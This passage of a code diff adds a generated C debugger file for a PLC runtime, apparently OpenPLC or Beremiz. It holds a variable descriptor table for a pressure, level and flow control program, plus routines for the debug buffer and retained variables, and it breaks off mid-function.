+{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous 